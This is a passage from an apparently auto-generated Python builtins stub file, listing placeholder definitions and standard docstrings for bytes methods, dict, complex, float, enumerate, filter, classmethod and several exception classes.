  1749. def lower(self): # real signature unknown; restored from __doc__
  1750. """
  1751. B.lower() -> copy of B
  1752. Return a copy of B with all ASCII characters converted to lowercase.
  1753. """
  1754. pass
  1755. def lstrip(self, *args, **kwargs): # real signature unknown
  1756. """
  1757. Strip leading bytes contained in the argument.
  1758. If the argument is omitted or None, strip leading ASCII whitespace.
  1759. """
  1760. pass
  1761. @staticmethod # known case
  1762. def maketrans(*args, **kwargs): # real signature unknown
  1763. """
  1764. Return a translation table useable for the bytes or bytearray translate method.
  1765. The returned table will be one where each byte in frm is mapped to the byte at
  1766. the same position in to.
  1767. The bytes objects frm and to must be of the same length.
  1768. """
  1769. pass
  1770. def partition(self, *args, **kwargs): # real signature unknown
  1771. """
  1772. Partition the bytes into three parts using the given separator.
  1773. This will search for the separator sep in the bytes. If the separator is found,
  1774. returns a 3-tuple containing the part before the separator, the separator
  1775. itself, and the part after it.
  1776. If the separator is not found, returns a 3-tuple containing the original bytes
  1777. object and two empty bytes objects.
  1778. """
  1779. pass
  1780. def removeprefix(self, *args, **kwargs): # real signature unknown
  1781. """
  1782. Return a bytes object with the given prefix string removed if present.
  1783. If the bytes starts with the prefix string, return bytes[len(prefix):].
  1784. Otherwise, return a copy of the original bytes.
  1785. """
  1786. pass
  1787. def removesuffix(self, *args, **kwargs): # real signature unknown
  1788. """
  1789. Return a bytes object with the given suffix string removed if present.
  1790. If the bytes ends with the suffix string and that suffix is not empty,
  1791. return bytes[:-len(prefix)]. Otherwise, return a copy of the original
  1792. bytes.
  1793. """
  1794. pass
  1795. def replace(self, *args, **kwargs): # real signature unknown
  1796. """
  1797. Return a copy with all occurrences of substring old replaced by new.
  1798. count
  1799. Maximum number of occurrences to replace.
  1800. -1 (the default value) means replace all occurrences.
  1801. If the optional argument count is given, only the first count occurrences are
  1802. replaced.
  1803. """
  1804. pass
  1805. def rfind(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1806. """
  1807. B.rfind(sub[, start[, end]]) -> int
  1808. Return the highest index in B where subsection sub is found,
  1809. such that sub is contained within B[start,end]. Optional
  1810. arguments start and end are interpreted as in slice notation.
  1811. Return -1 on failure.
  1812. """
  1813. return 0
  1814. def rindex(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  1815. """
  1816. B.rindex(sub[, start[, end]]) -> int
  1817. Return the highest index in B where subsection sub is found,
  1818. such that sub is contained within B[start,end]. Optional
  1819. arguments start and end are interpreted as in slice notation.
  1820. Raise ValueError when the subsection is not found.
  1821. """
  1822. return 0
  1823. def rjust(self, *args, **kwargs): # real signature unknown
  1824. """
  1825. Return a right-justified string of length width.
  1826. Padding is done using the specified fill character.
  1827. """
  1828. pass
  1829. def rpartition(self, *args, **kwargs): # real signature unknown
  1830. """
  1831. Partition the bytes into three parts using the given separator.
  1832. This will search for the separator sep in the bytes, starting at the end. If
  1833. the separator is found, returns a 3-tuple containing the part before the
  1834. separator, the separator itself, and the part after it.
  1835. If the separator is not found, returns a 3-tuple containing two empty bytes
  1836. objects and the original bytes object.
  1837. """
  1838. pass
  1839. def rsplit(self, *args, **kwargs): # real signature unknown
  1840. """
  1841. Return a list of the sections in the bytes, using sep as the delimiter.
  1842. sep
  1843. The delimiter according which to split the bytes.
  1844. None (the default value) means split on ASCII whitespace characters
  1845. (space, tab, return, newline, formfeed, vertical tab).
  1846. maxsplit
  1847. Maximum number of splits to do.
  1848. -1 (the default value) means no limit.
  1849. Splitting is done starting at the end of the bytes and working to the front.
  1850. """
  1851. pass
  1852. def rstrip(self, *args, **kwargs): # real signature unknown
  1853. """
  1854. Strip trailing bytes contained in the argument.
  1855. If the argument is omitted or None, strip trailing ASCII whitespace.
  1856. """
  1857. pass
  1858. def split(self, *args, **kwargs): # real signature unknown
  1859. """
  1860. Return a list of the sections in the bytes, using sep as the delimiter.
  1861. sep
  1862. The delimiter according which to split the bytes.
  1863. None (the default value) means split on ASCII whitespace characters
  1864. (space, tab, return, newline, formfeed, vertical tab).
  1865. maxsplit
  1866. Maximum number of splits to do.
  1867. -1 (the default value) means no limit.
  1868. """
  1869. pass
  1870. def splitlines(self, *args, **kwargs): # real signature unknown
  1871. """
  1872. Return a list of the lines in the bytes, breaking at line boundaries.
  1873. Line breaks are not included in the resulting list unless keepends is given and
  1874. true.
  1875. """
  1876. pass
  1877. def startswith(self, prefix, start=None, end=None): # real signature unknown; restored from __doc__
  1878. """
  1879. B.startswith(prefix[, start[, end]]) -> bool
  1880. Return True if B starts with the specified prefix, False otherwise.
  1881. With optional start, test B beginning at that position.
  1882. With optional end, stop comparing B at that position.
  1883. prefix can also be a tuple of bytes to try.
  1884. """
  1885. return False
  1886. def strip(self, *args, **kwargs): # real signature unknown
  1887. """
  1888. Strip leading and trailing bytes contained in the argument.
  1889. If the argument is omitted or None, strip leading and trailing ASCII whitespace.
  1890. """
  1891. pass
  1892. def swapcase(self): # real signature unknown; restored from __doc__
  1893. """
  1894. B.swapcase() -> copy of B
  1895. Return a copy of B with uppercase ASCII characters converted
  1896. to lowercase ASCII and vice versa.
  1897. """
  1898. pass
  1899. def title(self): # real signature unknown; restored from __doc__
  1900. """
  1901. B.title() -> copy of B
  1902. Return a titlecased version of B, i.e. ASCII words start with uppercase
  1903. characters, all remaining cased characters have lowercase.
  1904. """
  1905. pass
  1906. def translate(self, *args, **kwargs): # real signature unknown
  1907. """
  1908. Return a copy with each character mapped by the given translation table.
  1909. table
  1910. Translation table, which must be a bytes object of length 256.
  1911. All characters occurring in the optional argument delete are removed.
  1912. The remaining characters are mapped through the given translation table.
  1913. """
  1914. pass
  1915. def upper(self): # real signature unknown; restored from __doc__
  1916. """
  1917. B.upper() -> copy of B
  1918. Return a copy of B with all ASCII characters converted to uppercase.
  1919. """
  1920. pass
  1921. def zfill(self, *args, **kwargs): # real signature unknown
  1922. """
  1923. Pad a numeric string with zeros on the left, to fill a field of the given width.
  1924. The original string is never truncated.
  1925. """
  1926. pass
  1927. def __add__(self, *args, **kwargs): # real signature unknown
  1928. """ Return self+value. """
  1929. pass
  1930. def __contains__(self, *args, **kwargs): # real signature unknown
  1931. """ Return key in self. """
  1932. pass
  1933. def __eq__(self, *args, **kwargs): # real signature unknown
  1934. """ Return self==value. """
  1935. pass
  1936. def __getattribute__(self, *args, **kwargs): # real signature unknown
  1937. """ Return getattr(self, name). """
  1938. pass
  1939. def __getitem__(self, *args, **kwargs): # real signature unknown
  1940. """ Return self[key]. """
  1941. pass
  1942. def __getnewargs__(self, *args, **kwargs): # real signature unknown
  1943. pass
  1944. def __ge__(self, *args, **kwargs): # real signature unknown
  1945. """ Return self>=value. """
  1946. pass
  1947. def __gt__(self, *args, **kwargs): # real signature unknown
  1948. """ Return self>value. """
  1949. pass
  1950. def __hash__(self, *args, **kwargs): # real signature unknown
  1951. """ Return hash(self). """
  1952. pass
  1953. def __init__(self, value=b'', encoding=None, errors='strict'): # known special case of bytes.__init__
  1954. """
  1955. bytes(iterable_of_ints) -> bytes
  1956. bytes(string, encoding[, errors]) -> bytes
  1957. bytes(bytes_or_buffer) -> immutable copy of bytes_or_buffer
  1958. bytes(int) -> bytes object of size given by the parameter initialized with null bytes
  1959. bytes() -> empty bytes object
  1960. Construct an immutable array of bytes from:
  1961. - an iterable yielding integers in range(256)
  1962. - a text string encoded using the specified encoding
  1963. - any object implementing the buffer API.
  1964. - an integer
  1965. # (copied from class doc)
  1966. """
  1967. pass
  1968. def __iter__(self, *args, **kwargs): # real signature unknown
  1969. """ Implement iter(self). """
  1970. pass
  1971. def __len__(self, *args, **kwargs): # real signature unknown
  1972. """ Return len(self). """
  1973. pass
  1974. def __le__(self, *args, **kwargs): # real signature unknown
  1975. """ Return self<=value. """
  1976. pass
  1977. def __lt__(self, *args, **kwargs): # real signature unknown
  1978. """ Return self<value. """
  1979. pass
  1980. def __mod__(self, *args, **kwargs): # real signature unknown
  1981. """ Return self%value. """
  1982. pass
  1983. def __mul__(self, *args, **kwargs): # real signature unknown
  1984. """ Return self*value. """
  1985. pass
  1986. @staticmethod # known case of __new__
  1987. def __new__(*args, **kwargs): # real signature unknown
  1988. """ Create and return a new object. See help(type) for accurate signature. """
  1989. pass
  1990. def __ne__(self, *args, **kwargs): # real signature unknown
  1991. """ Return self!=value. """
  1992. pass
  1993. def __repr__(self, *args, **kwargs): # real signature unknown
  1994. """ Return repr(self). """
  1995. pass
  1996. def __rmod__(self, *args, **kwargs): # real signature unknown
  1997. """ Return value%self. """
  1998. pass
  1999. def __rmul__(self, *args, **kwargs): # real signature unknown
  2000. """ Return value*self. """
  2001. pass
  2002. def __str__(self, *args, **kwargs): # real signature unknown
  2003. """ Return str(self). """
  2004. pass
  2005. class Warning(Exception):
  2006. """ Base class for warning categories. """
  2007. def __init__(self, *args, **kwargs): # real signature unknown
  2008. pass
  2009. @staticmethod # known case of __new__
  2010. def __new__(*args, **kwargs): # real signature unknown
  2011. """ Create and return a new object. See help(type) for accurate signature. """
  2012. pass
  2013. class BytesWarning(Warning):
  2014. """
  2015. Base class for warnings about bytes and buffer related problems, mostly
  2016. related to conversion from str or comparing to str.
  2017. """
  2018. def __init__(self, *args, **kwargs): # real signature unknown
  2019. pass
  2020. @staticmethod # known case of __new__
  2021. def __new__(*args, **kwargs): # real signature unknown
  2022. """ Create and return a new object. See help(type) for accurate signature. """
  2023. pass
  2024. class ChildProcessError(OSError):
  2025. """ Child process error. """
  2026. def __init__(self, *args, **kwargs): # real signature unknown
  2027. pass
  2028. class classmethod(object):
  2029. """
  2030. classmethod(function) -> method
  2031. Convert a function to be a class method.
  2032. A class method receives the class as implicit first argument,
  2033. just like an instance method receives the instance.
  2034. To declare a class method, use this idiom:
  2035. class C:
  2036. @classmethod
  2037. def f(cls, arg1, arg2, ...):
  2038. ...
  2039. It can be called either on the class (e.g. C.f()) or on an instance
  2040. (e.g. C().f()). The instance is ignored except for its class.
  2041. If a class method is called for a derived class, the derived class
  2042. object is passed as the implied first argument.
  2043. Class methods are different than C++ or Java static methods.
  2044. If you want those, see the staticmethod builtin.
  2045. """
  2046. def __get__(self, *args, **kwargs): # real signature unknown
  2047. """ Return an attribute of instance, which is of type owner. """
  2048. pass
  2049. def __init__(self, function): # real signature unknown; restored from __doc__
  2050. pass
  2051. @staticmethod # known case of __new__
  2052. def __new__(*args, **kwargs): # real signature unknown
  2053. """ Create and return a new object. See help(type) for accurate signature. """
  2054. pass
  2055. __func__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2056. __isabstractmethod__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2057. __dict__ = None # (!) real value is "mappingproxy({'__get__': <slot wrapper '__get__' of 'classmethod' objects>, '__init__': <slot wrapper '__init__' of 'classmethod' objects>, '__new__': <built-in method __new__ of type object at 0x00007FFE2F3E1AB0>, '__func__': <member '__func__' of 'classmethod' objects>, '__isabstractmethod__': <attribute '__isabstractmethod__' of 'classmethod' objects>, '__dict__': <attribute '__dict__' of 'classmethod' objects>, '__doc__': 'classmethod(function) -> method\\n\\nConvert a function to be a class method.\\n\\nA class method receives the class as implicit first argument,\\njust like an instance method receives the instance.\\nTo declare a class method, use this idiom:\\n\\n class C:\\n @classmethod\\n def f(cls, arg1, arg2, ...):\\n ...\\n\\nIt can be called either on the class (e.g. C.f()) or on an instance\\n(e.g. C().f()). The instance is ignored except for its class.\\nIf a class method is called for a derived class, the derived class\\nobject is passed as the implied first argument.\\n\\nClass methods are different than C++ or Java static methods.\\nIf you want those, see the staticmethod builtin.'})"
  2058. class complex(object):
  2059. """
  2060. Create a complex number from a real part and an optional imaginary part.
  2061. This is equivalent to (real + imag*1j) where imag defaults to 0.
  2062. """
  2063. def conjugate(self): # real signature unknown; restored from __doc__
  2064. """
  2065. complex.conjugate() -> complex
  2066. Return the complex conjugate of its argument. (3-4j).conjugate() == 3+4j.
  2067. """
  2068. return complex
  2069. def __abs__(self, *args, **kwargs): # real signature unknown
  2070. """ abs(self) """
  2071. pass
  2072. def __add__(self, *args, **kwargs): # real signature unknown
  2073. """ Return self+value. """
  2074. pass
  2075. def __bool__(self, *args, **kwargs): # real signature unknown
  2076. """ self != 0 """
  2077. pass
  2078. def __divmod__(self, *args, **kwargs): # real signature unknown
  2079. """ Return divmod(self, value). """
  2080. pass
  2081. def __eq__(self, *args, **kwargs): # real signature unknown
  2082. """ Return self==value. """
  2083. pass
  2084. def __float__(self, *args, **kwargs): # real signature unknown
  2085. """ float(self) """
  2086. pass
  2087. def __floordiv__(self, *args, **kwargs): # real signature unknown
  2088. """ Return self//value. """
  2089. pass
  2090. def __format__(self): # real signature unknown; restored from __doc__
  2091. """
  2092. complex.__format__() -> str
  2093. Convert to a string according to format_spec.
  2094. """
  2095. return ""
  2096. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2097. """ Return getattr(self, name). """
  2098. pass
  2099. def __getnewargs__(self, *args, **kwargs): # real signature unknown
  2100. pass
  2101. def __ge__(self, *args, **kwargs): # real signature unknown
  2102. """ Return self>=value. """
  2103. pass
  2104. def __gt__(self, *args, **kwargs): # real signature unknown
  2105. """ Return self>value. """
  2106. pass
  2107. def __hash__(self, *args, **kwargs): # real signature unknown
  2108. """ Return hash(self). """
  2109. pass
  2110. def __init__(self, *args, **kwargs): # real signature unknown
  2111. pass
  2112. def __int__(self, *args, **kwargs): # real signature unknown
  2113. """ int(self) """
  2114. pass
  2115. def __le__(self, *args, **kwargs): # real signature unknown
  2116. """ Return self<=value. """
  2117. pass
  2118. def __lt__(self, *args, **kwargs): # real signature unknown
  2119. """ Return self<value. """
  2120. pass
  2121. def __mod__(self, *args, **kwargs): # real signature unknown
  2122. """ Return self%value. """
  2123. pass
  2124. def __mul__(self, *args, **kwargs): # real signature unknown
  2125. """ Return self*value. """
  2126. pass
  2127. def __neg__(self, *args, **kwargs): # real signature unknown
  2128. """ -self """
  2129. pass
  2130. @staticmethod # known case of __new__
  2131. def __new__(*args, **kwargs): # real signature unknown
  2132. """ Create and return a new object. See help(type) for accurate signature. """
  2133. pass
  2134. def __ne__(self, *args, **kwargs): # real signature unknown
  2135. """ Return self!=value. """
  2136. pass
  2137. def __pos__(self, *args, **kwargs): # real signature unknown
  2138. """ +self """
  2139. pass
  2140. def __pow__(self, *args, **kwargs): # real signature unknown
  2141. """ Return pow(self, value, mod). """
  2142. pass
  2143. def __radd__(self, *args, **kwargs): # real signature unknown
  2144. """ Return value+self. """
  2145. pass
  2146. def __rdivmod__(self, *args, **kwargs): # real signature unknown
  2147. """ Return divmod(value, self). """
  2148. pass
  2149. def __repr__(self, *args, **kwargs): # real signature unknown
  2150. """ Return repr(self). """
  2151. pass
  2152. def __rfloordiv__(self, *args, **kwargs): # real signature unknown
  2153. """ Return value//self. """
  2154. pass
  2155. def __rmod__(self, *args, **kwargs): # real signature unknown
  2156. """ Return value%self. """
  2157. pass
  2158. def __rmul__(self, *args, **kwargs): # real signature unknown
  2159. """ Return value*self. """
  2160. pass
  2161. def __rpow__(self, *args, **kwargs): # real signature unknown
  2162. """ Return pow(value, self, mod). """
  2163. pass
  2164. def __rsub__(self, *args, **kwargs): # real signature unknown
  2165. """ Return value-self. """
  2166. pass
  2167. def __rtruediv__(self, *args, **kwargs): # real signature unknown
  2168. """ Return value/self. """
  2169. pass
  2170. def __sub__(self, *args, **kwargs): # real signature unknown
  2171. """ Return self-value. """
  2172. pass
  2173. def __truediv__(self, *args, **kwargs): # real signature unknown
  2174. """ Return self/value. """
  2175. pass
  2176. imag = property(lambda self: 0.0)
  2177. """the imaginary part of a complex number
  2178. :type: float
  2179. """
  2180. real = property(lambda self: 0.0)
  2181. """the real part of a complex number
  2182. :type: float
  2183. """
  2184. class ConnectionAbortedError(ConnectionError):
  2185. """ Connection aborted. """
  2186. def __init__(self, *args, **kwargs): # real signature unknown
  2187. pass
  2188. class ConnectionRefusedError(ConnectionError):
  2189. """ Connection refused. """
  2190. def __init__(self, *args, **kwargs): # real signature unknown
  2191. pass
  2192. class ConnectionResetError(ConnectionError):
  2193. """ Connection reset. """
  2194. def __init__(self, *args, **kwargs): # real signature unknown
  2195. pass
  2196. class DeprecationWarning(Warning):
  2197. """ Base class for warnings about deprecated features. """
  2198. def __init__(self, *args, **kwargs): # real signature unknown
  2199. pass
  2200. @staticmethod # known case of __new__
  2201. def __new__(*args, **kwargs): # real signature unknown
  2202. """ Create and return a new object. See help(type) for accurate signature. """
  2203. pass
  2204. class dict(object):
  2205. """
  2206. dict() -> new empty dictionary
  2207. dict(mapping) -> new dictionary initialized from a mapping object's
  2208. (key, value) pairs
  2209. dict(iterable) -> new dictionary initialized as if via:
  2210. d = {}
  2211. for k, v in iterable:
  2212. d[k] = v
  2213. dict(**kwargs) -> new dictionary initialized with the name=value pairs
  2214. in the keyword argument list. For example: dict(one=1, two=2)
  2215. """
  2216. def clear(self): # real signature unknown; restored from __doc__
  2217. """ D.clear() -> None. Remove all items from D. """
  2218. pass
  2219. def copy(self): # real signature unknown; restored from __doc__
  2220. """ D.copy() -> a shallow copy of D """
  2221. pass
  2222. @staticmethod # known case
  2223. def fromkeys(*args, **kwargs): # real signature unknown
  2224. """ Create a new dictionary with keys from iterable and values set to value. """
  2225. pass
  2226. def get(self, *args, **kwargs): # real signature unknown
  2227. """ Return the value for key if key is in the dictionary, else default. """
  2228. pass
  2229. def items(self): # real signature unknown; restored from __doc__
  2230. """ D.items() -> a set-like object providing a view on D's items """
  2231. pass
  2232. def keys(self): # real signature unknown; restored from __doc__
  2233. """ D.keys() -> a set-like object providing a view on D's keys """
  2234. pass
  2235. def pop(self, k, d=None): # real signature unknown; restored from __doc__
  2236. """
  2237. D.pop(k[,d]) -> v, remove specified key and return the corresponding value.
  2238. If key is not found, default is returned if given, otherwise KeyError is raised
  2239. """
  2240. pass
  2241. def popitem(self, *args, **kwargs): # real signature unknown
  2242. """
  2243. Remove and return a (key, value) pair as a 2-tuple.
  2244. Pairs are returned in LIFO (last-in, first-out) order.
  2245. Raises KeyError if the dict is empty.
  2246. """
  2247. pass
  2248. def setdefault(self, *args, **kwargs): # real signature unknown
  2249. """
  2250. Insert key with a value of default if key is not in the dictionary.
  2251. Return the value for key if key is in the dictionary, else default.
  2252. """
  2253. pass
  2254. def update(self, E=None, **F): # known special case of dict.update
  2255. """
  2256. D.update([E, ]**F) -> None. Update D from dict/iterable E and F.
  2257. If E is present and has a .keys() method, then does: for k in E: D[k] = E[k]
  2258. If E is present and lacks a .keys() method, then does: for k, v in E: D[k] = v
  2259. In either case, this is followed by: for k in F: D[k] = F[k]
  2260. """
  2261. pass
  2262. def values(self): # real signature unknown; restored from __doc__
  2263. """ D.values() -> an object providing a view on D's values """
  2264. pass
  2265. def __class_getitem__(self, *args, **kwargs): # real signature unknown
  2266. """ See PEP 585 """
  2267. pass
  2268. def __contains__(self, *args, **kwargs): # real signature unknown
  2269. """ True if the dictionary has the specified key, else False. """
  2270. pass
  2271. def __delitem__(self, *args, **kwargs): # real signature unknown
  2272. """ Delete self[key]. """
  2273. pass
  2274. def __eq__(self, *args, **kwargs): # real signature unknown
  2275. """ Return self==value. """
  2276. pass
  2277. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2278. """ Return getattr(self, name). """
  2279. pass
  2280. def __getitem__(self, y): # real signature unknown; restored from __doc__
  2281. """ x.__getitem__(y) <==> x[y] """
  2282. pass
  2283. def __ge__(self, *args, **kwargs): # real signature unknown
  2284. """ Return self>=value. """
  2285. pass
  2286. def __gt__(self, *args, **kwargs): # real signature unknown
  2287. """ Return self>value. """
  2288. pass
  2289. def __init__(self, seq=None, **kwargs): # known special case of dict.__init__
  2290. """
  2291. dict() -> new empty dictionary
  2292. dict(mapping) -> new dictionary initialized from a mapping object's
  2293. (key, value) pairs
  2294. dict(iterable) -> new dictionary initialized as if via:
  2295. d = {}
  2296. for k, v in iterable:
  2297. d[k] = v
  2298. dict(**kwargs) -> new dictionary initialized with the name=value pairs
  2299. in the keyword argument list. For example: dict(one=1, two=2)
  2300. # (copied from class doc)
  2301. """
  2302. pass
  2303. def __ior__(self, *args, **kwargs): # real signature unknown
  2304. """ Return self|=value. """
  2305. pass
  2306. def __iter__(self, *args, **kwargs): # real signature unknown
  2307. """ Implement iter(self). """
  2308. pass
  2309. def __len__(self, *args, **kwargs): # real signature unknown
  2310. """ Return len(self). """
  2311. pass
  2312. def __le__(self, *args, **kwargs): # real signature unknown
  2313. """ Return self<=value. """
  2314. pass
  2315. def __lt__(self, *args, **kwargs): # real signature unknown
  2316. """ Return self<value. """
  2317. pass
  2318. @staticmethod # known case of __new__
  2319. def __new__(*args, **kwargs): # real signature unknown
  2320. """ Create and return a new object. See help(type) for accurate signature. """
  2321. pass
  2322. def __ne__(self, *args, **kwargs): # real signature unknown
  2323. """ Return self!=value. """
  2324. pass
  2325. def __or__(self, *args, **kwargs): # real signature unknown
  2326. """ Return self|value. """
  2327. pass
  2328. def __repr__(self, *args, **kwargs): # real signature unknown
  2329. """ Return repr(self). """
  2330. pass
  2331. def __reversed__(self, *args, **kwargs): # real signature unknown
  2332. """ Return a reverse iterator over the dict keys. """
  2333. pass
  2334. def __ror__(self, *args, **kwargs): # real signature unknown
  2335. """ Return value|self. """
  2336. pass
  2337. def __setitem__(self, *args, **kwargs): # real signature unknown
  2338. """ Set self[key] to value. """
  2339. pass
  2340. def __sizeof__(self): # real signature unknown; restored from __doc__
  2341. """ D.__sizeof__() -> size of D in memory, in bytes """
  2342. pass
  2343. __hash__ = None
  2344. class enumerate(object):
  2345. """
  2346. Return an enumerate object.
  2347. iterable
  2348. an object supporting iteration
  2349. The enumerate object yields pairs containing a count (from start, which
  2350. defaults to zero) and a value yielded by the iterable argument.
  2351. enumerate is useful for obtaining an indexed list:
  2352. (0, seq[0]), (1, seq[1]), (2, seq[2]), ...
  2353. """
  2354. def __class_getitem__(self, *args, **kwargs): # real signature unknown
  2355. """ See PEP 585 """
  2356. pass
  2357. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2358. """ Return getattr(self, name). """
  2359. pass
  2360. def __init__(self, iterable, start=0): # known special case of enumerate.__init__
  2361. """ Initialize self. See help(type(self)) for accurate signature. """
  2362. pass
  2363. def __iter__(self, *args, **kwargs): # real signature unknown
  2364. """ Implement iter(self). """
  2365. pass
  2366. @staticmethod # known case of __new__
  2367. def __new__(*args, **kwargs): # real signature unknown
  2368. """ Create and return a new object. See help(type) for accurate signature. """
  2369. pass
  2370. def __next__(self, *args, **kwargs): # real signature unknown
  2371. """ Implement next(self). """
  2372. pass
  2373. def __reduce__(self, *args, **kwargs): # real signature unknown
  2374. """ Return state information for pickling. """
  2375. pass
  2376. class EOFError(Exception):
  2377. """ Read beyond end of file. """
  2378. def __init__(self, *args, **kwargs): # real signature unknown
  2379. pass
  2380. @staticmethod # known case of __new__
  2381. def __new__(*args, **kwargs): # real signature unknown
  2382. """ Create and return a new object. See help(type) for accurate signature. """
  2383. pass
  2384. class FileExistsError(OSError):
  2385. """ File already exists. """
  2386. def __init__(self, *args, **kwargs): # real signature unknown
  2387. pass
  2388. class FileNotFoundError(OSError):
  2389. """ File not found. """
  2390. def __init__(self, *args, **kwargs): # real signature unknown
  2391. pass
  2392. class filter(object):
  2393. """
  2394. filter(function or None, iterable) --> filter object
  2395. Return an iterator yielding those items of iterable for which function(item)
  2396. is true. If function is None, return the items that are true.
  2397. """
  2398. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2399. """ Return getattr(self, name). """
  2400. pass
  2401. def __init__(self, function_or_None, iterable): # real signature unknown; restored from __doc__
  2402. pass
  2403. def __iter__(self, *args, **kwargs): # real signature unknown
  2404. """ Implement iter(self). """
  2405. pass
  2406. @staticmethod # known case of __new__
  2407. def __new__(*args, **kwargs): # real signature unknown
  2408. """ Create and return a new object. See help(type) for accurate signature. """
  2409. pass
  2410. def __next__(self, *args, **kwargs): # real signature unknown
  2411. """ Implement next(self). """
  2412. pass
  2413. def __reduce__(self, *args, **kwargs): # real signature unknown
  2414. """ Return state information for pickling. """
  2415. pass
  2416. class float(object):
  2417. """ Convert a string or number to a floating point number, if possible. """
  2418. def as_integer_ratio(self): # real signature unknown; restored from __doc__
  2419. """
  2420. Return integer ratio.
  2421. Return a pair of integers, whose ratio is exactly equal to the original float
  2422. and with a positive denominator.
  2423. Raise OverflowError on infinities and a ValueError on NaNs.
  2424. >>> (10.0).as_integer_ratio()
  2425. (10, 1)
  2426. >>> (0.0).as_integer_ratio()
  2427. (0, 1)
  2428. >>> (-.25).as_integer_ratio()
  2429. (-1, 4)
  2430. """
  2431. pass
  2432. def conjugate(self, *args, **kwargs): # real signature unknown
  2433. """ Return self, the complex conjugate of any float. """
  2434. pass
  2435. @staticmethod # known case
  2436. def fromhex(*args, **kwargs): # real signature unknown; NOTE: unreliably restored from __doc__
  2437. """
  2438. Create a floating-point number from a hexadecimal string.
  2439. >>> float.fromhex('0x1.ffffp10')
  2440. 2047.984375
  2441. >>> float.fromhex('-0x1p-1074')
  2442. -5e-324
  2443. """
  2444. pass
  2445. def hex(self): # real signature unknown; restored from __doc__
  2446. """
  2447. Return a hexadecimal representation of a floating-point number.
  2448. >>> (-0.1).hex()
  2449. '-0x1.999999999999ap-4'
  2450. >>> 3.14159.hex()
  2451. '0x1.921f9f01b866ep+1'
  2452. """
  2453. pass
  2454. def is_integer(self, *args, **kwargs): # real signature unknown
  2455. """ Return True if the float is an integer. """
  2456. pass
  2457. def __abs__(self, *args, **kwargs): # real signature unknown
  2458. """ abs(self) """
  2459. pass
  2460. def __add__(self, *args, **kwargs): # real signature unknown
  2461. """ Return self+value. """
  2462. pass
  2463. def __bool__(self, *args, **kwargs): # real signature unknown
  2464. """ self != 0 """
  2465. pass
  2466. def __ceil__(self, *args, **kwargs): # real signature unknown
  2467. """ Return the ceiling as an Integral. """
  2468. pass
  2469. def __divmod__(self, *args, **kwargs): # real signature unknown
  2470. """ Return divmod(self, value). """
  2471. pass
  2472. def __eq__(self, *args, **kwargs): # real signature unknown
  2473. """ Return self==value. """
  2474. pass
  2475. def __float__(self, *args, **kwargs): # real signature unknown
  2476. """ float(self) """
  2477. pass
  2478. def __floordiv__(self, *args, **kwargs): # real signature unknown
  2479. """ Return self//value. """
  2480. pass
  2481. def __floor__(self, *args, **kwargs): # real signature unknown
  2482. """ Return the floor as an Integral. """
  2483. pass
  2484. def __format__(self, *args, **kwargs): # real signature unknown
  2485. """ Formats the float according to format_spec. """
  2486. pass
  2487. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2488. """ Return getattr(self, name). """
  2489. pass
  2490. def __getformat__(self, *args, **kwargs): # real signature unknown
  2491. """
  2492. You probably don't want to use this function.
  2493. typestr
  2494. Must be 'double' or 'float'.
  2495. It exists mainly to be used in Python's test suite.
  2496. This function returns whichever of 'unknown', 'IEEE, big-endian' or 'IEEE,
  2497. little-endian' best describes the format of floating point numbers used by the
  2498. C type named by typestr.
  2499. """
  2500. pass
  2501. def __getnewargs__(self, *args, **kwargs): # real signature unknown
  2502. pass
  2503. def __ge__(self, *args, **kwargs): # real signature unknown
  2504. """ Return self>=value. """
  2505. pass
  2506. def __gt__(self, *args, **kwargs): # real signature unknown
  2507. """ Return self>value. """
  2508. pass
  2509. def __hash__(self, *args, **kwargs): # real signature unknown
  2510. """ Return hash(self). """
  2511. pass
  2512. def __init__(self, *args, **kwargs): # real signature unknown
  2513. pass
  2514. def __int__(self, *args, **kwargs): # real signature unknown
  2515. """ int(self) """
  2516. pass
  2517. def __le__(self, *args, **kwargs): # real signature unknown
  2518. """ Return self<=value. """
  2519. pass
  2520. def __lt__(self, *args, **kwargs): # real signature unknown
  2521. """ Return self<value. """
  2522. pass
  2523. def __mod__(self, *args, **kwargs): # real signature unknown
  2524. """ Return self%value. """
  2525. pass
  2526. def __mul__(self, *args, **kwargs): # real signature unknown
  2527. """ Return self*value. """
  2528. pass
  2529. def __neg__(self, *args, **kwargs): # real signature unknown
  2530. """ -self """
  2531. pass
  2532. @staticmethod # known case of __new__
  2533. def __new__(*args, **kwargs): # real signature unknown
  2534. """ Create and return a new object. See help(type) for accurate signature. """
  2535. pass
  2536. def __ne__(self, *args, **kwargs): # real signature unknown
  2537. """ Return self!=value. """
  2538. pass
  2539. def __pos__(self, *args, **kwargs): # real signature unknown
  2540. """ +self """
  2541. pass
  2542. def __pow__(self, *args, **kwargs): # real signature unknown
  2543. """ Return pow(self, value, mod). """
  2544. pass
  2545. def __radd__(self, *args, **kwargs): # real signature unknown
  2546. """ Return value+self. """
  2547. pass
  2548. def __rdivmod__(self, *args, **kwargs): # real signature unknown
  2549. """ Return divmod(value, self). """
  2550. pass
  2551. def __repr__(self, *args, **kwargs): # real signature unknown
  2552. """ Return repr(self). """
  2553. pass
  2554. def __rfloordiv__(self, *args, **kwargs): # real signature unknown
  2555. """ Return value//self. """
  2556. pass
  2557. def __rmod__(self, *args, **kwargs): # real signature unknown
  2558. """ Return value%self. """
  2559. pass
  2560. def __rmul__(self, *args, **kwargs): # real signature unknown
  2561. """ Return value*self. """
  2562. pass
  2563. def __round__(self, *args, **kwargs): # real signature unknown
  2564. """
  2565. Return the Integral closest to x, rounding half toward even.
  2566. When an argument is passed, work like built-in round(x, ndigits).
  2567. """
  2568. pass
  2569. def __rpow__(self, *args, **kwargs): # real signature unknown
  2570. """ Return pow(value, self, mod). """
  2571. pass
  2572. def __rsub__(self, *args, **kwargs): # real signature unknown
  2573. """ Return value-self. """
  2574. pass
  2575. def __rtruediv__(self, *args, **kwargs): # real signature unknown
  2576. """ Return value/self. """
  2577. pass
  2578. def __set_format__(self, *args, **kwargs): # real signature unknown
  2579. """
  2580. You probably don't want to use this function.
  2581. typestr
  2582. Must be 'double' or 'float'.
  2583. fmt
